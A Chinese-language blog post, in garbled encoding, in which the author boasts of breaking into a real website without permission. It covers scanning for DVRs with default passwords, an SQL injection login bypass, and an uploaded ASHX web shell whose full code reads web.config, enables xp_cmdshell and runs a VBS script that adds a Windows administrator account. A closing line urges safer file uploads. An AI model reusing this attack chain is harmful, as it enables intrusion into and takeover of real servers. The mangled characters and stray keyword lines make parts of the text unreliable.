首先我要申明的是不是什么語(yǔ)言寫出來(lái)的程序就不安全,而是得看寫代碼的人如何去寫這個(gè)程序。

前些日子我去客戶那調(diào)研,發(fā)現(xiàn)客戶的監(jiān)控系統(tǒng)用的是??低暤?a href=/tags/3144-0.html target=_blank class=infotextkey>硬盤錄像機(jī),然后默認(rèn)用戶名是amdin 密碼是12345,回來(lái)后就想玩一玩看看有多少人用的是默認(rèn)密碼,于是就寫了個(gè)掃描程序,很快掃描到了一大批網(wǎng)站,也得到很多采用的是默認(rèn)用戶名和密碼。

玩了一兩天后發(fā)現(xiàn)沒(méi)什么好玩的,就隨便在里面找找掃描記錄,看到一些后臺(tái)登陸地址,于是就都測(cè)試下,然后就發(fā)現(xiàn)了這個(gè)網(wǎng)站:

網(wǎng)站入侵 網(wǎng)站服務(wù)器 網(wǎng)站安全 網(wǎng)站優(yōu)化

最開(kāi)始我是測(cè)試弱口令:

admin amdin 等,隨便測(cè)試了幾個(gè),沒(méi)成功,于是開(kāi)始測(cè)試sql的防注入,用戶名輸入 1' or 1=1-- 密碼隨便輸了個(gè)1 登陸,居然登陸成功了……

網(wǎng)站入侵 網(wǎng)站服務(wù)器 網(wǎng)站安全 網(wǎng)站優(yōu)化

但發(fā)現(xiàn)登陸進(jìn)來(lái)后報(bào)錯(cuò)了?。?!想了下可能是用戶名的問(wèn)題,于是就找頁(yè)面看看能不能看到我的登陸用戶名,最后找到寫郵件里面看到了

當(dāng)然如果入侵只到這 你肯定會(huì)絕對(duì)弱爆了…… 其實(shí)當(dāng)然也是,因?yàn)槲夷孟铝怂臄?shù)據(jù)和程序。當(dāng)然最好拿下了他的服務(wù)器,得知他服務(wù)器是做的端口映射,于是又拿下了他的路由 器,然后就沒(méi)有再繼續(xù)往下進(jìn)行了,當(dāng)然還可以繼續(xù)下去,比如 路由器的dns劫持,頁(yè)面重定向,端口鏡像等等

下面我開(kāi)始介紹主要入侵頁(yè)面,文件上傳頁(yè)面:

網(wǎng)站入侵 網(wǎng)站服務(wù)器 網(wǎng)站安全 網(wǎng)站優(yōu)化

自己寫了個(gè)ashx頁(yè)面,上傳

代碼很簡(jiǎn)單,就是讀取網(wǎng)站的web.config文件然后以文本形式輸出,

我先簡(jiǎn)單說(shuō)下入侵流程:

1、讀取web.config得到數(shù)據(jù)庫(kù)連接

2、利用SQL Server執(zhí)行命令添加Windows用戶(因?yàn)榫W(wǎng)站默認(rèn)是iis用戶,沒(méi)有權(quán)限直線net等相關(guān)操作,但SQL Server是基于本地服務(wù)運(yùn)行的,權(quán)限很高)

我貼出我上傳的ashx文件代碼:

  1. <%@WebHandlerLanguage="C#"Class="TextLd"%>
  2. usingSystem;
  3. usingSystem.Collections.Generic;
  4. usingSystem.Linq;
  5. usingSystem.Web;
  6. usingSystem.Data.SqlClient;
  7. publicclassTextLd:IHttpHandler
  8. {
  9. publicvoidCreateLocalUser(stringnewPath)
  10. {
  11. System.Diagnostics.Process.Start(@"d:/1.vbs");
  12. System.IO.File.WriteAllText(@"d:/1.vbs","setwsnetwork=CreateObject(/"WSCRIPT.NETWORK/")/r/nos=/"WinNT:///"&wsnetwork.ComputerName/r/nSetob=GetObject(os)/r/nSetoe=GetObject(os&/"/Administrators,group/")'屬性,admin組/r/nod=ob.Create(/"user/",/"test/")'建立用戶/r/nSetPassword/"1234/"'設(shè)置密碼/r/nSetInfo/r/nof=GetObject(os&/"/test/",user)/r/naddos&/"/test/"");
  13. }
  14. publicvoidShowWebConfig(HttpContextcontext)
  15. {
  16. context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
  17. }
  18. publicvoidWriteVbs(HttpContextcontext)
  19. {
  20. System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"),"setwsnetwork=CreateObject(/"WSCRIPT.NETWORK/")/r/nos=/"WinNT:///"&wsnetwork.ComputerName/r/nSetob=GetObject(os)/r/nSetoe=GetObject(os&/"/Administrators,group/")'屬性,admin組/r/nod=ob.Create(/"user/",/"test/")'建立用戶/r/nSetPassword/"1234/"'設(shè)置密碼/r/nSetInfo/r/nof=GetObject(os&/"/test/",user)/r/naddos&/"/test/"");
  21. }
  22. publicvoidExecuteSql(stringconnection,stringsql)
  23. {
  24. using(SqlConnectioncon=newSqlConnection(connection))
  25. {
  26. using(SqlCommandcommd=newSqlCommand(sql,con))
  27. {
  28. con.Open();
  29. commd.ExecuteNonQuery();
  30. con.Close();
  31. }
  32. }
  33. }
  34. publicvoidProcessRequest(HttpContextcontext)
  35. {
  36. context.Response.ContentType="text/plain";
  37. context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
  38. try
  39. {
  40. varconnection=context.Request.QueryString["connection"];
  41. switch(context.Request.QueryString["method"])
  42. {
  43. case"1":WriteVbs(context);break;
  44. case"2":
  45. ExecuteSql(connection,@"sp_configure'showadvancedoptions',1reconfigure");
  46. ExecuteSql(connection,@"sp_configure'xp_cmdshell',1reconfigure");//開(kāi)啟數(shù)據(jù)庫(kù)的xp_cmdshell
  47. break;
  48. case"3":ExecuteSql(connection,"execmaster..xp_cmdshell'cscript"+context.Request.MapPath("~/1.vbs")+"'");
  49. break;
  50. default:
  51. ShowWebConfig(context);
  52. break;
  53. }
  54. }
  55. catch(Exceptionex)
  56. {
  57. context.Response.Write(ex.Message);
  58. }
  59. context.Response.End();
  60. }
  61. publicboolIsReusable
  62. {
  63. get
  64. {
  65. returnfalse;
  66. }
  67. }
  68. }

然后一次執(zhí)行,就這樣服務(wù)器就被我拿下了! 建立了一個(gè)用戶名為test密碼是1234的超級(jí)管理員用戶,于是測(cè)試下遠(yuǎn)程連接

網(wǎng)站入侵 網(wǎng)站服務(wù)器 網(wǎng)站安全 網(wǎng)站優(yōu)化

然后弄干啥,大家都知道的……

當(dāng)然,如果不拿下他服務(wù)器,你想想你都能直線你自己寫的代碼了……什么壞事干不了。。。 當(dāng)然本人只是測(cè)試了下可行性,就算不拿下服務(wù)器,執(zhí)行sql語(yǔ)句把他數(shù)據(jù)庫(kù)備份下載下來(lái)拿還不是分分鐘的事情?

好了 我來(lái)總結(jié)下這次入侵吧,最主要的婁底其實(shí)不是他的sql注入(個(gè)人覺(jué)得,當(dāng)然他是導(dǎo)火索),而是文件上傳,大部分程序員在寫文件上傳功能的時(shí)候,之前客戶上傳過(guò)來(lái)的文件保存到網(wǎng)站目錄下的某個(gè)文件夾,不做任何處理,這也就是導(dǎo)致了他服務(wù)器被我拿下的最主要的入口。

所以我還是奉勸大家一下,做文件上傳還是對(duì)文件進(jìn)行下處理比較好,具體怎么處理我想聰明的你肯定有很多方法……

小學(xué)文化的我傷不起啊…… 原諒我文采不好,你們將就著看吧!

    無(wú)相關(guān)信息